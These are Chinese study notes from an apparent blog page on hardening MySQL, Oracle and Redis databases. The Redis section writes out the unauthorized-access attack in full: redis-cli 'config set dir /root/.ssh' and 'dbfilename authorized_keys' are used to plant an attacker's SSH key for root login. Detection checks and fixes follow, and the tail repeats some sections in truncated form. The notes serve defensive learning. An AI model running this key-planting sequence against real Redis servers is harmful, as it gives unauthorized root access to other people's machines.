数据库安全检查与加固学习笔记

数据库安全检查与加固

1.mysql数据库安全管理

  1. 禁止MySQL已管理元的身份账号权限运行

    用普通账户运行mysqld
    
    加固方法:
    	MySQL  my.cnf配置文件中配置user=mysql
    
  2. 设置root用户名口令并修改登录名,且不存在空密码账号

    1.ccess MySQL控制台: mysql -u root -p
    在控制台中执行:
    	set password for 'root'@'localhost' = password('new_password')
    
    为了改进root的安全性,可以改名
        use mysql;
        update user set user="another_username" where user="root";
        flush privileges;
    然后就可以用新用户名访问
    	mysql -u another_username -p 
    	
    2.对于空密码账号
        set password for <user>@'<host>' = password('<clear password>')
        select * from mysql.user where user ="";
    
  3. 配置合适的密码强度,最常使用期限小于90天

    密码特征,长度,大小写,长度,字符集
    添加配置到全局配置
    	plugin-load=validate_password.so
    	validate_password_length=14
    	validate_password_mixed_case_count=1
    	validate_password_number_count=1
    	validate_password_special_char_count=1
    	validate_passwordpolicy=MEDIUM
    使用期限小于等于90天
    	配置rdbms:
    	set global default_password_lifetime=90
    
  4. 降低用户的数据库特权,只有管理员有完整的数据库访问权限

    mysql.user和mysql.db表
    使用revoke语句来删除权限
    MySQL.user中权限:
    	file_priv:表示是否运行用户读取数据库所在主机的本地文件;
    	Process:表示是否运行用户查询所有用户的命令执行信息;
    	Super_priv:表示用户是否有设置全局变量、管理员调试等高级权限;
    	Shutdown_priv:表示用户是否可以关闭数据库;
    	Create_user_priv:表示用户是否可以创建或者删除其他用户;
    	Grant_priv:表示用户是否可以修改其他用户权限;
    
  5. 禁止或限制远程访问,确保特定主机才有访问特权

    打开主句对数据库的访问:
    	grant all on *.* to 'root'@'% ';
    这是完全开放了对root 的访问,需要对特定主机ip进行限制
        grant all on *.* to 'root'@'localhost';
        grant all on *.* to 'root'@'myip.athome';
        flush privileges;
    有限许可访问:
    	grant select,insert on mydb.* to 'someuser'@'somehost';
    	someuser换成用户名,somehost换成主机
    
  6. 配置MYSQL日志便于审计

    日志默认会用主机名+.err命名的文件
    配置
    log_error=/mydata/data/mysql.test.com.err 指定错误日志信息,默认在数据库目录下,该位置必须有写的权限
    log_warning ={0|1}#默认开启,服务器运行中的警告日志也在其中
    
    查询日志
    log={ON|OFF} 是否开启查询日志,在MySQL5.6已经废弃
    general_log ={ON|OFF} 启动或关闭查询日志,默认关闭
    general_log_file = /mydata/data/mysql.log 指定查询日志的位置
    log_output = {TABLE|FILE|NONE}指定存放日志位置的位置,文件或者表
    
  7. 删除测试安装的test数据库

    DROP DATABASE "test"
    
    
  8. Mysqld启动禁用“–skip-grant-tables”

    skip-grant-tables导致不适用权限系统的情况下启动,不启动grant-tables授权表,忘记管理员密码可以用到
    配置文件中skip-grant-tables设置为FALSE,并且启动参数不包含--skip-grant-tables
    
  9. 数据库位于非系统区

    系统分区:通常用于主句系统、应用程序操作
    非系统分区:用于存储数据
    MySQL数据库的挂在点不应该为:root('/'),var,/usr
    
    为MySQL选择非系统分区的新位置
    	停止mysqld:	service mysql stop
    	执行命令复制数据:	cp-rp <datadir> <新位置>
    	启动	service mysql start
    

2.Oracle管理用户安全性

创建用户 create user test1 identified by test1;
删除用户 drop user test1;
锁定用户 alter user test1 account lock;
	select username,account_status form dba_users where username ="";
修改用户密码
	alert user test1 identified by <新密码>;

概要文件

用户限制数据库使用和实例资源的一组指定资源限制的条件,并管理账户状态和口令管理规则。

select username,account_status,profile from dba_users where rownum <= 1;


select profile,resource_name,limit from dba_profiles where rownum <= 1;

profile 配置

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-XQaaxdhc-1648292687227)(E:\学习\picture\1.png)]

口令复杂验证

password_verify function 指定一个pl/sql函数,便于分配口令之前执行复杂度检查

utlpwdmg.sql脚本提供了模型口令验证函数
Unix和linux: $ORACLE_HOME/rdbms/admin
winows: %oracle_home%\rdbms\admin

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-rhPZgr7E-1648292687228)(E:\学习\picture\image-20220326104519877.png)]

取消概要文件的限制

取消密码管理
	alert profile DEFAULT limit unlimited;
	alert profile DEFAULT limit password_reuse_time unlimited;
停止密码校验函数
	alert profile DEFAULT limit password_verify_function null;

自建概要文件

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Zwo7oFEf-1648292687229)(E:\学习\picture\image-20220326104909487.png)]

3.Redis未授权访问漏洞

数据库持久,key-value ,list,set,zset,hash,数据备份

漏洞原理(18)

未开启认证或采用相关策略
	默认绑定在679,没有开启认证
ssh免密码登录
	ssh root@192.168.xxx.xxx
	自身提供的config命令,可进行写操作
	将攻击者的公钥写入目标服务器 /root/.ssh文件夹的authotrized_keys文件中,然后使用对应的私钥登录
ssh-keygen -t rsa 本地生成公私密钥
用户根目录 .ssh
authorized_keys存在远程免密登录的公钥,可记录多台
id_rsa:生成的私钥文件
id_rsa.pub:生成的公钥文件
know_hosts: 已知的主机公钥清单

希望公钥生效必须满足:
1. .ssh目录权限必须为700
2. .ssh/authorized_keys 文件必须为600

scp复制自己的公钥到对方的文件中
	scp -p ~/.ssh/id_rsa.pub root@<remote_ip>:/root/.ssh/authorized_keys
	
手工复制黏贴到远程服务器~/.ssh/authorized_keys


root@kail:		./redis-cli -h 192.xxx.xxx.xxx
192.xxx.xxx.xxx:6379> config get dir
192.xxx.xxx.xxx:6379> config get dir /root/.ssh
192.xxx.xxx.xxx:6379> config set dbfilename authorized_keys
192.xxx.xxx.xxx:6379> keys *
192.xxx.xxx.xxx:6379> get xxx "\n\n\nssh-rsa key_pub root@kail\n\n\n\n"
192.xxx.xxx.xxx:6379> save


ssh ip 登录

redis安全检测

1.ps -aux|grep redis 是否root运行
2.netstat -tunlp|grep redis 是否监听本地
3.是否设置相应的密码 
	redis-cli -h 192.xxxx
	keys *
	info

加固

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-C8elbEfF-1648292687229)(E:\学习\picture\image-20220326113204628.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-4MNo2tOM-1648292687230)(E:\学习\picture\image-20220326113258452.png)]

漏洞解决方法

升级程序,补丁
修改安全配置,停止服务
通过主机防火墙进行访问控制
通过系统边界防火墙进行访问控制
通过修改程序Banner进行欺骗

is-cli -h 192.xxxx
keys *
info


### 加固

[外链图片转存中...(img-C8elbEfF-1648292687229)]

[外链图片转存中...(img-4MNo2tOM-1648292687230)]



### 漏洞解决方法

升级程序,补丁
修改安全配置,停止服务
通过主机防火墙进行访问控制
通过系统边界防火墙进行访问控制
通过修改程序Banner进行欺骗


  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

脚本实习生

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值